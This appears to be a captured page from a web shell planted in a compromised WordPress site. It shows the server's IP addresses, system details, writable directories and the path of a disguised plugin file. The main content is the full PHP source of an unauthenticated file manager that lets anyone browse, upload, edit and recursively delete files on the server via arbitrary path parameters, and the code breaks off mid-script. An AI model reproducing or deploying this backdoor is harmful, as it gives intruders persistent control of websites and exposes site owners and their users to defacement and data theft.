403Webshell
Server IP : 185.143.234.238  /  Your IP : 185.215.232.195
Web Server : nginx/1.22.1
System : Linux server2065 6.1.0-35-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.137-1 (2025-05-07) x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/bcandle/wp-content/plugins/yqjeaco/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/bcandle/wp-content/plugins/yqjeaco/wp-about.php
  ░░░░░░░░░░░♫♫♫♫♫ ♫♫♫♫ ♫♫♫♫  (。◕ᴗ◕。)      ((((((((っ•ω•)っ Σ(σ`•ω•´)σ         (。◕ᴗ◕。)         ((((((((っ•ω•)っ Σ(σ`•ω•´)σ                                           
 *********                    **************&                                                                         ^      ^^^^^^^^^^^^^^^                    &*&&&&&&&&&&&&&&&&&&&&&&***********************$$$$$$              %%%%%%%%%%%%%%%%%%^^^^^^^^^^^^^^^^^^^&&&&&&&&&&&&&&&&&&&                                                         ((((((((っ•ω•)っ Σ(σ`•ω•´)σ                    ((((((((っ•ω•)っ Σ(σ`•ω•´)σ                                                                                                                                                                                                                                                                                                                                                                                                             ??????????????
                          ??????????????
               
<br />
<b>Warning</b>:  Undefined variable $auth in <b>/home/u627560552/domains/kovexadvisory.com/public_html/666.php</b> on line <b>546</b><br />
<br /> Trying to access array offset on value of type null in <b>/home/u627560552/domains/kovexadvisory.com/public_html/666.php</b> on line <b>546</b><br />
??????????????

??????????????


<?php
session_start();

$msg = '';
$err = '';

// Direktori aktif
$cur = isset($_GET['d']) ? $_GET['d'] : getcwd();
$cur = rtrim($cur, '/');
if (empty($cur) || !is_dir($cur)) {
    $cur = getcwd();
}

// Parent dir
$parent = dirname($cur);
$hasParent = ($parent !== $cur);

// Actions
$act = isset($_POST['act']) ? $_POST['act'] : '';

function rrmdir($dir) {
    if (!is_dir($dir)) return false;
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            rrmdir($path);
        } else {
            @unlink($path);
        }
    }
    return @rmdir($dir);
}

function fmtSize($b) {
    if ($b >= 1073741824) return round($b/1073741824, 1).' GB';
    if ($b >= 1048576)    return round($b/1048576, 1).' MB';
    if ($b >= 1024)       return round($b/1024, 1).' KB';
    return $b.' B';
}

function fIcon($name) {
    $e = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    $m = array(
        'pdf'=>'📕','php'=>'🐘','js'=>'📜','html'=>'🌐','htm'=>'🌐',
        'css'=>'🎨','json'=>'📋','xml'=>'📄','sql'=>'🗃️',
        'jpg'=>'🖼️','jpeg'=>'🖼️','png'=>'🖼️','gif'=>'🖼️','webp'=>'🖼️',
        'zip'=>'🗜️','rar'=>'🗜️','gz'=>'🗜️','tar'=>'🗜️',
        'txt'=>'📝','md'=>'📝','csv'=>'📊','log'=>'📋',
        'mp4'=>'🎬','mp3'=>'🎵','docx'=>'📘','xlsx'=>'📗','pptx'=>'📙',
    );
    return isset($m[$e]) ? $m[$e] : '📄';
}

// Upload
if ($act === 'up' && isset($_FILES['f'])) {
    $ok = 0;
    foreach ($_FILES['f']['name'] as $i => $n) {
        if ($_FILES['f']['error'][$i] !== 0) continue;
        $dst = $cur . '/' . basename($n);
        if (move_uploaded_file($_FILES['f']['tmp_name'][$i], $dst)) $ok++;
    }
    $_SESSION['msg'] = $ok . ' file berhasil diupload.';
    header('Location: ?d=' . urlencode($cur));
    exit;
}

// Buat folder
if ($act === 'md') {
    $n = trim(isset($_POST['n']) ? $_POST['n'] : '');
    $n = preg_replace('/[^a-zA-Z0-9._\- ]/', '', $n);
    if ($n === '') {
        $err = 'Nama folder kosong.';
    } elseif (file_exists($cur . '/' . $n)) {
        $err = 'Sudah ada.';
    } elseif (mkdir($cur . '/' . $n, 0755, true)) {
        $_SESSION['msg'] = 'Folder berhasil dibuat.';
        header('Location: ?d=' . urlencode($cur));
        exit;
    } else {
        $err = 'Gagal membuat folder.';
    }
}

// Buat file
if ($act === 'nf') {
    $n = trim(isset($_POST['n']) ? $_POST['n'] : '');
    $n = preg_replace('/[^a-zA-Z0-9._\-]/', '', $n);
    $c = isset($_POST['c']) ? $_POST['c'] : '';
    if ($n === '') {
        $err = 'Nama file kosong.';
    } elseif (file_exists($cur . '/' . $n)) {
        $err = 'File sudah ada.';
    } elseif (file_put_contents($cur . '/' . $n, $c) !== false) {
        $_SESSION['msg'] = 'File berhasil dibuat.';
        header('Location: ?d=' . urlencode($cur));
        exit;
    } else {
        $err = 'Gagal membuat file.';
    }
}

// Save edit file
if ($act === 'savefile') {
    $target = isset($_POST['target']) ? $_POST['target'] : '';
    $content = isset($_POST['content']) ? $_POST['content'] : '';

    if ($target === '' || !is_file($target)) {
        $err = 'File tidak ditemukan.';
    } elseif (!is_writable($target)) {
        $err = 'File tidak bisa ditulis.';
    } elseif (file_put_contents($target, $content) !== false) {
        $_SESSION['msg'] = 'File berhasil disimpan.';
        header('Location: ?d=' . urlencode(dirname($target)));
        exit;
    } else {
        $err = 'Gagal menyimpan file.';
    }
}

// Delete file / folder
if ($act === 'del') {
    $target = isset($_POST['target']) ? $_POST['target'] : '';

    if ($target === '' || !file_exists($target)) {
        $err = 'Target tidak ditemukan.';
    } else {
        $ok = false;
        if (is_dir($target)) {
            $ok = rrmdir($target);
        } else {
            $ok = @unlink($target);
        }

        if ($ok) {
            $_SESSION['msg'] = 'Berhasil dihapus.';
            header('Location: ?d=' . urlencode($cur));
            exit;
        } else {
            $err = 'Gagal menghapus.';
        }
    }
}

// Flash message
if (isset($_SESSION['msg'])) {
    $msg = $_SESSION['msg'];
    unset($_SESSION['msg']);
}

// Mode edit
$editFile = isset($_GET['edit']) ? $_GET['edit'] : '';
$editMode = false;
$editContent = '';

if ($editFile !== '') {
    if (is_file($editFile) && is_readable($editFile)) {
        $editMode = true;
        $editContent = file_get_contents($editFile);
        if ($editContent === false) $editContent = '';
    } else {
        $err = 'File edit tidak ditemukan / tidak bisa dibaca.';
    }
}

// Daftar isi direktori
$dirs  = array();
$files = array();
if (is_dir($cur) && is_readable($cur)) {
    $items = scandir($cur);
    foreach ($items as $it) {
        if ($it === '.' || $it === '..') continue;
        $abs = $cur . '/' . $it;
        if (is_dir($abs)) {
            $dirs[] = $it;
        } else {
            $files[] = $it;
        }
    }
    sort($dirs);
    sort($files);
}

$totalItems = count($dirs) + count($files);
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>File Manager</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600&family=Syne:wght@400;700;800&display=swap" rel="stylesheet">
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{
  --bg:#0d0f14;--bg2:#13161e;--bg3:#1a1e28;--border:#252935;
  --green:#00e5a0;--text:#e2e6f0;--muted:#6b7280;
  --red:#ff4f5e;--yellow:#fbbf24;--blue:#60a5fa;
  --mono:'JetBrains Mono',monospace;--sans:'Syne',sans-serif;
}
html,body{height:100%}
body{font-family:var(--sans);background:var(--bg);color:var(--text);display:flex;flex-direction:column;min-height:100vh}
a{text-decoration:none}

header{display:flex;align-items:center;gap:12px;padding:13px 22px;background:var(--bg2);border-bottom:1px solid var(--border);position:sticky;top:0;z-index:50;flex-wrap:wrap}
.logo{font-weight:800;font-size:1.05rem;color:var(--green);letter-spacing:-.5px;white-space:nowrap}
.pathbar{font-family:var(--mono);font-size:.74rem;color:var(--muted);flex:1;word-break:break-all}
.pathbar span{color:var(--green);font-weight:700}

.wrap{display:flex;flex:1;overflow:hidden}

aside{width:255px;flex-shrink:0;background:var(--bg2);border-right:1px solid var(--border);overflow-y:auto;padding:14px 0}
.sec{padding:0 11px 14px;border-bottom:1px solid var(--border);margin-bottom:3px}
.sec:last-child{border-bottom:none}
.sec-label{font-size:.63rem;font-weight:700;letter-spacing:1.5px;text-transform:uppercase;color:var(--muted);padding:3px 3px 9px}
.form-col{display:flex;flex-direction:column;gap:8px}
.lbl{font-size:.7rem;color:var(--muted);font-weight:600;display:block;margin-bottom:3px}
input[type=text],textarea{width:100%;background:var(--bg);border:1px solid var(--border);border-radius:5px;color:var(--text);font-family:var(--mono);font-size:.78rem;padding:7px 9px;outline:none;transition:.15s}
input[type=text]:focus,textarea:focus{border-color:var(--green)}
textarea{resize:vertical;min-height:80px}
.btn{display:flex;align-items:center;justify-content:center;gap:5px;padding:8px 13px;border-radius:5px;border:none;font-family:var(--sans);font-weight:700;font-size:.76rem;cursor:pointer;width:100%;transition:.15s}
.btn-green{background:var(--green);color:#000}
.btn-green:hover{filter:brightness(1.1)}
.btn-outline{background:transparent;border:1px solid var(--border);color:var(--text)}
.btn-outline:hover{border-color:var(--green);color:var(--green)}
.btn-blue{background:rgba(96,165,250,.12);border:1px solid rgba(96,165,250,.35);color:var(--blue)}
.btn-blue:hover{background:rgba(96,165,250,.2)}
.btn-red{background:rgba(255,79,94,.12);border:1px solid rgba(255,79,94,.35);color:var(--red)}
.btn-red:hover{background:rgba(255,79,94,.2)}

.upzone{border:2px dashed var(--border);border-radius:8px;padding:18px 10px;text-align:center;cursor:pointer;position:relative;transition:.2s}
.upzone:hover,.upzone.drag{border-color:var(--green);background:rgba(0,229,160,.04)}
.upzone input{position:absolute;inset:0;opacity:0;cursor:pointer;width:100%;height:100%}
.upzone .ico{font-size:1.5rem;margin-bottom:5px}
.upzone strong{font-size:.78rem}
.upzone small{display:block;color:var(--muted);font-size:.69rem;margin-top:3px}
#flist{font-family:var(--mono);font-size:.7rem;color:var(--green);max-height:65px;overflow-y:auto;margin-top:4px}

main{flex:1;overflow-y:auto;padding:18px 22px;display:flex;flex-direction:column;gap:13px}
.bar{display:flex;align-items:center;justify-content:space-between;gap:10px;flex-wrap:wrap}
.bar-left{display:flex;align-items:center;gap:8px;flex-wrap:wrap}
.count{font-family:var(--mono);font-size:.72rem;color:var(--muted)}

.back-link{display:inline-flex;align-items:center;gap:5px;padding:5px 11px;background:var(--bg3);border:1px solid var(--border);border-radius:5px;color:var(--muted);font-size:.75rem;font-weight:700;transition:.15s;white-space:nowrap}
.back-link:hover{color:var(--green);border-color:var(--green)}

#q{background:var(--bg2);border:1px solid var(--border);border-radius:5px;color:var(--text);font-family:var(--mono);font-size:.78rem;padding:6px 11px;width:190px;outline:none;transition:.15s}
#q:focus{border-color:var(--green)}

.tbl{width:100%;border-collapse:collapse;font-size:.83rem}
.tbl th{text-align:left;padding:7px 11px;font-size:.65rem;text-transform:uppercase;letter-spacing:1px;color:var(--muted);border-bottom:1px solid var(--border);font-weight:700;background:var(--bg);position:sticky;top:0;z-index:5}
.tbl td{padding:9px 11px;border-bottom:1px solid rgba(37,41,53,.5);vertical-align:middle}
.tbl tr:last-child td{border-bottom:none}
.tbl tr:hover td{background:var(--bg2)}
.fname a{color:var(--text);font-weight:600;display:flex;align-items:center;gap:5px;transition:.15s}
.fname a:hover{color:var(--green)}
.fname.isdir a{color:var(--yellow)}
.fname.isdir a:hover{color:#fff}
.fic{margin-right:2px}
.meta{font-family:var(--mono);font-size:.7rem;color:var(--muted)}
.tag{display:inline-block;padding:1px 7px;border-radius:20px;font-size:.63rem;font-weight:700;letter-spacing:.3px;text-transform:uppercase}
.tag-d{background:rgba(251,191,36,.12);color:var(--yellow)}
.tag-f{background:rgba(0,229,160,.08);color:var(--green)}

.alert{display:flex;align-items:center;gap:9px;padding:9px 14px;border-radius:8px;font-size:.8rem;font-weight:600;animation:si .25s ease}
@keyframes si{from{opacity:0;transform:translateY(-5px)}to{opacity:1}}
.alert-ok{background:rgba(0,229,160,.1);border:1px solid rgba(0,229,160,.25);color:var(--green)}
.alert-err{background:rgba(255,79,94,.1);border:1px solid rgba(255,79,94,.25);color:var(--red)}

.empty{text-align:center;padding:55px 20px;color:var(--muted)}
.empty-ico{font-size:2.2rem;margin-bottom:8px}

.actions{display:flex;align-items:center;gap:6px;flex-wrap:wrap}
.action-link,.action-btn{
  display:inline-flex;align-items:center;justify-content:center;
  padding:5px 10px;border-radius:6px;font-size:.7rem;font-weight:700;
  border:1px solid var(--border);background:var(--bg3);color:var(--text);
  cursor:pointer;font-family:var(--sans);text-decoration:none;
}
.action-link:hover,.action-btn:hover{border-color:var(--green);color:var(--green)}
.action-btn.red{border-color:rgba(255,79,94,.3);color:var(--red)}
.action-btn.red:hover{background:rgba(255,79,94,.08)}
.action-link.blue{border-color:rgba(96,165,250,.3);color:var(--blue)}
.action-link.blue:hover{background:rgba(96,165,250,.08)}

.editor-wrap{
  background:var(--bg2);
  border:1px solid var(--border);
  border-radius:10px;
  overflow:hidden;
}
.editor-head{
  display:flex;align-items:center;justify-content:space-between;gap:10px;
  padding:12px 14px;border-bottom:1px solid var(--border);flex-wrap:wrap
}
.editor-title{font-size:.85rem;font-weight:700;color:var(--green);word-break:break-all}
.editor-body{padding:14px}
.editor-body textarea{
  width:100%;min-height:420px;border-radius:8px;
  background:#0a0c10;color:#dbe7ff;border:1px solid var(--border);
  padding:14px;font-size:.78rem;line-height:1.55
}
.editor-actions{display:flex;gap:8px;flex-wrap:wrap;margin-top:10px}

@media(max-width:700px){
  .wrap{flex-direction:column}
  aside{width:100%;border-right:none;border-bottom:1px solid var(--border)}
  main{padding:12px}
}
</style>
</head>
<body>

<header>
  <div class="logo">📂 FileMgr</div>
  <div class="pathbar">📍 <span><?= htmlspecialchars($cur) ?></span></div>
</header>

<div class="wrap">
<aside>

  <div class="sec">
    <div class="sec-label">Upload File</div>
    <form method="post" enctype="multipart/form-data" class="form-col">
      <input type="hidden" name="act" value="up">
      <div class="upzone" id="dz">
        <div class="ico">📤</div>
        <strong>Drop file di sini</strong>
        <small>atau klik untuk pilih</small>
        <input type="file" name="f[]" multiple id="fi">
      </div>
      <div id="flist"></div>
      <button type="submit" class="btn btn-green">Upload</button>
    </form>
  </div>

  <div class="sec">
    <div class="sec-label">Buat Folder</div>
    <form method="post" class="form-col">
      <input type="hidden" name="act" value="md">
      <div>
        <label class="lbl">Nama Folder</label>
        <input type="text" name="n" placeholder="nama-folder" required>
      </div>
      <button type="submit" class="btn btn-outline">📁 Buat Folder</button>
    </form>
  </div>

  <div class="sec">
    <div class="sec-label">Buat File Baru</div>
    <form method="post" class="form-col">
      <input type="hidden" name="act" value="nf">
      <div>
        <label class="lbl">Nama File</label>
        <input type="text" name="n" placeholder="file.txt" required>
      </div>
      <div>
        <label class="lbl">Isi (opsional)</label>
        <textarea name="c" placeholder="Konten file..."></textarea>
      </div>
      <button type="submit" class="btn btn-outline">📄 Buat File</button>
    </form>
  </div>

</aside>

<main>
  <?php if ($msg): ?>
    <div class="alert alert-ok">✅ <?= htmlspecialchars($msg) ?></div>
  <?php endif; ?>
  <?php if ($err): ?>
    <div class="alert alert-err">⚠️ <?= htmlspecialchars($err) ?></div>
  <?php endif; ?>

  <?php if ($editMode): ?>
    <div class="editor-wrap">
      <div class="editor-head">
        <div class="editor-title">✏️ Edit File: <?= htmlspecialchars($editFile) ?></div>
        <a href="?d=<?= urlencode(dirname($editFile)) ?>" class="back-link">⬅ Kembali</a>
      </div>
      <div class="editor-body">
        <form method="post">
          <input type="hidden" name="act" value="savefile">
          <input type="hidden" name="target" value="<?= htmlspecialchars($editFile) ?>">
          <textarea name="content"><?= htmlspecialchars($editContent) ?></textarea>
          <div class="editor-actions">
            <button type="submit" class="btn btn-green" style="width:auto">💾 Simpan File</button>
            <a href="?d=<?= urlencode(dirname($editFile)) ?>" class="action-link">Batal</a>
          </div>
        </form>
      </div>
    </div>
  <?php endif; ?>

  <div class="bar">
    <div class="bar-left">
      <?php if ($hasParent): ?>
        <a href="?d=<?= urlencode($parent) ?>" class="back-link">⬅ Naik ke <?= htmlspecialchars(basename($parent) ?: '/') ?></a>
      <?php endif; ?>
      <span class="count"><?= $totalItems ?> item</span>
    </div>
    <input type="text" id="q" placeholder="Cari file..." oninput="cari(this.value)">
  </div>

  <?php if ($totalItems === 0): ?>
    <div class="empty">
      <div class="empty-ico">🗂️</div>
      <p>Folder kosong.</p>
    </div>
  <?php else: ?>
  <table class="tbl" id="tbl">
    <thead>
      <tr>
        <th style="width:38%">Nama</th>
        <th>Tipe</th>
        <th>Ukuran</th>
        <th>Diubah</th>
        <th style="width:190px">Aksi</th>
      </tr>
    </thead>
    <tbody>
    <?php foreach ($dirs as $d):
      $abs = $cur . '/' . $d;
    ?>
      <tr>
        <td class="fname isdir">
          <a href="?d=<?= urlencode($abs) ?>">
            <span class="fic">📁</span><?= htmlspecialchars($d) ?>
          </a>
        </td>
        <td><span class="tag tag-d">dir</span></td>
        <td class="meta">—</td>
        <td class="meta"><?= date('Y-m-d H:i', (int)filemtime($abs)) ?></td>
        <td>
          <div class="actions">
            <a href="?d=<?= urlencode($abs) ?>" class="action-link">📂 Buka</a>
            <form method="post" style="display:inline" onsubmit="return confirm('Yakin hapus folder ini beserta isinya?')">
              <input type="hidden" name="act" value="del">
              <input type="hidden" name="target" value="<?= htmlspecialchars($abs) ?>">
              <button type="submit" class="action-btn red">🗑 Hapus</button>
            </form>
          </div>
        </td>
      </tr>
    <?php endforeach; ?>

    <?php foreach ($files as $f):
      $abs = $cur . '/' . $f;
      $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION) ?: 'file');
    ?>
      <tr>
        <td class="fname">
          <span style="display:flex;align-items:center;gap:5px">
            <span class="fic"><?= fIcon($f) ?></span><?= htmlspecialchars($f) ?>
          </span>
        </td>
        <td><span class="tag tag-f"><?= htmlspecialchars($ext) ?></span></td>
        <td class="meta"><?= fmtSize((int)filesize($abs)) ?></td>
        <td class="meta"><?= date('Y-m-d H:i', (int)filemtime($abs)) ?></td>
        <td>
          <div class="actions">
            <a href="?edit=<?= urlencode($abs) ?>&d=<?= urlencode($cur) ?>" class="action-link blue">✏️ Edit</a>
            <a href="<?= htmlspecialchars($abs) ?>" class="action-link" target="_blank">👁️ View</a>
            <form method="post" style="display:inline" onsubmit="return confirm('Yakin hapus file ini?')">
              <input type="hidden" name="act" value="del">
              <input type="hidden" name="target" value="<?= htmlspecialchars($abs) ?>">
              <button type="submit" class="action-btn red">🗑 Hapus</button>
            </form>
          </div>
        </td>
      </tr>
    <?php endforeach; ?>
    </tbody>
  </table>
  <?php endif; ?>
</main>
</div>

<script>
var dz = document.getElementById('dz');
var fi = document.getElementById('fi');
var fl = document.getElementById('flist');

function showF(files) {
  fl.innerHTML = Array.from(files).map(function(f) {
    return '<div>📄 ' + f.name + '</div>';
  }).join('');
}

fi.addEventListener('change', function() { showF(fi.files); });

dz.addEventListener('dragover', function(e) {
  e.preventDefault();
  dz.classList.add('drag');
});

dz.addEventListener('dragleave', function() {
  dz.classList.remove('drag');
});

dz.addEventListener('drop', function(e) {
  e.preventDefault();
  dz.classList.remove('drag');
  if (e.dataTransfer.files.length) {
    try {
      var dt = new DataTransfer();
      Array.from(e.dataTransfer.files).forEach(function(f) {
        dt.items.add(f);
      });
     

Youez - 2016 - github.com/yon3zu
LinuXploit